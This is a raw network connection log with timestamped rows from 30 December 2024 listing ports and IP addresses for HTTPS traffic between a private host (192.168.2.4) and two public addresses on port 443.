Dec 30, 2024 11:36:39.324738979 CET	49960	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:39.324784040 CET	443	49960	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:39.325088978 CET	49960	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:39.325088978 CET	49960	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:39.325119972 CET	443	49960	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:39.591881990 CET	443	49957	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:39.591959953 CET	49957	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:39.592677116 CET	443	49957	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:39.592729092 CET	49957	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:39.599359989 CET	49957	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:39.599374056 CET	443	49957	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:39.599605083 CET	443	49957	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:39.600065947 CET	49957	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:39.600402117 CET	49957	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:39.615021944 CET	443	49958	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:39.615107059 CET	49958	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:39.615787029 CET	443	49958	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:39.615829945 CET	49958	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:39.623594999 CET	49958	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:39.623610973 CET	443	49958	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:39.623837948 CET	443	49958	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:39.623900890 CET	49958	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:39.624294996 CET	49958	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:39.647335052 CET	443	49957	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:39.671333075 CET	443	49958	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:39.708172083 CET	443	49959	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:39.708228111 CET	49959	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:39.708930016 CET	49959	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:39.708937883 CET	443	49959	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:39.710985899 CET	49959	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:39.710994005 CET	443	49959	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.037086964 CET	443	49960	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.037264109 CET	49960	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.037400961 CET	443	49957	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.037471056 CET	443	49958	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.037489891 CET	443	49957	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.037528038 CET	49957	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.037530899 CET	49958	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.037544012 CET	443	49958	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.037554026 CET	443	49958	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.037581921 CET	49957	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.037590027 CET	49958	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.038131952 CET	49957	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.038131952 CET	49960	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.038147926 CET	443	49957	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.038157940 CET	443	49960	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.038716078 CET	49960	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.038716078 CET	49962	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.038727045 CET	443	49960	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.038755894 CET	443	49962	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.038779974 CET	49958	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.038793087 CET	443	49958	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.038801908 CET	49958	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.038824081 CET	49962	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.038853884 CET	49958	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.039140940 CET	49962	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.039155960 CET	443	49962	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.039186954 CET	49963	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.039241076 CET	443	49963	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.039305925 CET	49963	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.039808035 CET	49963	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.039819956 CET	443	49963	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.051336050 CET	49959	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.051819086 CET	49964	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.051871061 CET	443	49964	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.051981926 CET	49964	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.053127050 CET	49964	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.053138971 CET	443	49964	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.457751989 CET	443	49960	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.457880974 CET	49960	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.457900047 CET	443	49960	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.457931042 CET	443	49960	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.457947969 CET	49960	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.457979918 CET	49960	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.458070993 CET	443	49960	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.458252907 CET	443	49960	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.458266020 CET	49960	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.458297968 CET	49960	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.461991072 CET	49960	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.462023020 CET	443	49960	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.462444067 CET	49966	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.462513924 CET	443	49966	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.462821960 CET	49966	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.463114977 CET	49966	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.463136911 CET	443	49966	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.647604942 CET	443	49962	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.647686958 CET	49962	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.648936987 CET	443	49963	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.649034023 CET	49963	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.649857044 CET	49962	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.649868965 CET	443	49962	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.650043964 CET	49962	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.650048971 CET	443	49962	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.650341988 CET	49963	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.650350094 CET	443	49963	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.650549889 CET	49963	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:40.650553942 CET	443	49963	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:40.670504093 CET	443	49964	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.670676947 CET	49964	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.671152115 CET	49964	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.671159029 CET	443	49964	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:40.671338081 CET	49964	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:40.671341896 CET	443	49964	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.021136045 CET	443	49962	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.021203041 CET	443	49962	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.021213055 CET	49962	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.021245956 CET	49962	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.024095058 CET	49962	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.024095058 CET	49962	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.024113894 CET	443	49962	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.024441004 CET	49962	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.024795055 CET	49970	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.024856091 CET	443	49970	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.027282953 CET	49970	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.027542114 CET	443	49963	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.027725935 CET	49963	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.027745962 CET	443	49963	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.027985096 CET	49963	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.028295040 CET	443	49963	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.028336048 CET	443	49963	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.028348923 CET	49963	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.028348923 CET	49963	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.028358936 CET	443	49963	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.028392076 CET	49963	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.028737068 CET	49963	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.028811932 CET	49971	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.028841019 CET	443	49971	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.028904915 CET	49971	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.030224085 CET	49970	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.030250072 CET	443	49970	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.031335115 CET	49971	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.031347036 CET	443	49971	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.067102909 CET	443	49966	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.067341089 CET	49966	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.069052935 CET	49966	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.069063902 CET	443	49966	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.069355011 CET	49966	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.069361925 CET	443	49966	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.097134113 CET	443	49964	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.097193003 CET	443	49964	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.097239017 CET	49964	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.097266912 CET	443	49964	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.097282887 CET	49964	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.097304106 CET	49964	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.097311020 CET	443	49964	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.097322941 CET	443	49964	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.097364902 CET	49964	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.104774952 CET	49964	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.104805946 CET	443	49964	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.106033087 CET	49972	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.106064081 CET	443	49972	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.106122017 CET	49972	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.106390953 CET	49972	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.106403112 CET	443	49972	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.480556965 CET	443	49966	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.480714083 CET	443	49966	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.480789900 CET	49966	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.480814934 CET	443	49966	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.481059074 CET	443	49966	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.481112003 CET	49966	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.611166954 CET	49966	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.611200094 CET	443	49966	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.614147902 CET	49973	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.614176989 CET	443	49973	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.614373922 CET	49973	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.641906977 CET	443	49971	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.642611027 CET	49971	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.644552946 CET	49971	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.644557953 CET	443	49971	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.649149895 CET	443	49970	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.650532007 CET	49970	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.652084112 CET	49971	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.652089119 CET	443	49971	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.691783905 CET	49973	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.691808939 CET	443	49973	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.693995953 CET	49970	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.694005013 CET	443	49970	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.694118977 CET	49970	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:41.694128990 CET	443	49970	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:41.745109081 CET	443	49972	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.745177031 CET	49972	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.745635033 CET	49972	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.745651960 CET	443	49972	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:41.747684956 CET	49972	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:41.747714996 CET	443	49972	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.022516966 CET	443	49971	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.022573948 CET	49971	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.022687912 CET	49971	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.022710085 CET	443	49971	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.022749901 CET	49971	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.023411036 CET	49974	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.023458958 CET	443	49974	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.023528099 CET	49974	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.023812056 CET	49974	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.023823977 CET	443	49974	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.027626991 CET	443	49970	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.027806044 CET	49970	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.027828932 CET	443	49970	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.027874947 CET	49970	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.027951002 CET	49970	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.027986050 CET	443	49970	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.028067112 CET	49970	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.028595924 CET	49975	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.028640032 CET	443	49975	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.028713942 CET	49975	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.028956890 CET	49975	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.028964043 CET	443	49975	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.166893005 CET	443	49972	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.166963100 CET	49972	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.166975021 CET	443	49972	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.166989088 CET	443	49972	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.167017937 CET	49972	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.167045116 CET	49972	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.167057991 CET	443	49972	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.167113066 CET	443	49972	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.167160034 CET	49972	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.167717934 CET	49972	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.167736053 CET	443	49972	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.168920994 CET	49981	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.168965101 CET	443	49981	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.169123888 CET	49981	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.169342995 CET	49981	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.169357061 CET	443	49981	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.297466040 CET	443	49973	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.297777891 CET	49973	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.298074007 CET	49973	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.298088074 CET	443	49973	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.298343897 CET	49973	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.298352003 CET	443	49973	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.628968000 CET	443	49975	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.629084110 CET	49975	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.630131006 CET	443	49975	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.630189896 CET	49975	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.632164001 CET	49975	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.632183075 CET	443	49975	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.632693052 CET	443	49975	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.632821083 CET	49975	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.632833004 CET	443	49974	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.632890940 CET	49974	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.633173943 CET	49975	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.633644104 CET	443	49974	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.633702993 CET	49974	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.635242939 CET	49974	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.635251045 CET	443	49974	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.635566950 CET	443	49974	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.635620117 CET	49974	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.635920048 CET	49974	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:42.679336071 CET	443	49975	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.683334112 CET	443	49974	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:42.711708069 CET	443	49973	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.711816072 CET	49973	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.711833000 CET	443	49973	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.711899042 CET	49973	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.711905003 CET	443	49973	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.712049007 CET	49973	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.712054968 CET	443	49973	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.712104082 CET	49973	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.712107897 CET	443	49973	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.714721918 CET	49973	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.723948002 CET	49973	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.723968029 CET	443	49973	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.724890947 CET	49982	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.724931955 CET	443	49982	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.726378918 CET	49982	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.726655006 CET	49982	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.726666927 CET	443	49982	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.768412113 CET	443	49981	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.768667936 CET	49981	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.768956900 CET	49981	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.768963099 CET	443	49981	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:42.769392014 CET	49981	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:42.769398928 CET	443	49981	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.000974894 CET	443	49974	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.001024008 CET	49974	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.001045942 CET	443	49974	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.001108885 CET	49974	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.001209021 CET	49974	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.001236916 CET	443	49974	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.001281977 CET	49974	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.001879930 CET	49988	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.001928091 CET	443	49988	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.001986027 CET	49988	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.002319098 CET	49988	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.002331018 CET	443	49988	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.006388903 CET	443	49975	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.006449938 CET	49975	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.006483078 CET	443	49975	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.006529093 CET	49975	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.006623030 CET	49975	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.006653070 CET	443	49975	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.006764889 CET	49975	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.007246971 CET	49989	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.007287025 CET	443	49989	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.007339954 CET	49989	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.007589102 CET	49989	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.007599115 CET	443	49989	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.186640024 CET	443	49981	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.186686993 CET	443	49981	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.186774015 CET	49981	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.186774015 CET	49981	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.186784983 CET	443	49981	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.186904907 CET	49981	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.186913013 CET	443	49981	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.187036991 CET	49981	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.187798023 CET	49981	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.187817097 CET	443	49981	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.188246012 CET	49991	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.188288927 CET	443	49991	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.188345909 CET	49991	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.188608885 CET	49991	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.188630104 CET	443	49991	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.349833012 CET	443	49982	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.349941015 CET	49982	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.350347042 CET	49982	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.350363970 CET	443	49982	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.352184057 CET	49982	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.352189064 CET	443	49982	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.613929033 CET	443	49988	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.614005089 CET	49988	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.614747047 CET	443	49988	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.614815950 CET	49988	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.617841959 CET	49988	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.617849112 CET	443	49988	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.618123055 CET	443	49988	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.618179083 CET	49988	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.618621111 CET	49988	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.647269964 CET	443	49989	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.647375107 CET	49989	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.648010015 CET	443	49989	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.648063898 CET	49989	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.649916887 CET	49989	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.649936914 CET	443	49989	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.650157928 CET	443	49989	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.650218010 CET	49989	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.650670052 CET	49989	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.659331083 CET	443	49988	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.695336103 CET	443	49989	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.752897024 CET	443	49982	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.752973080 CET	49982	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.752983093 CET	443	49982	142.250.186.97	192.168.2.4
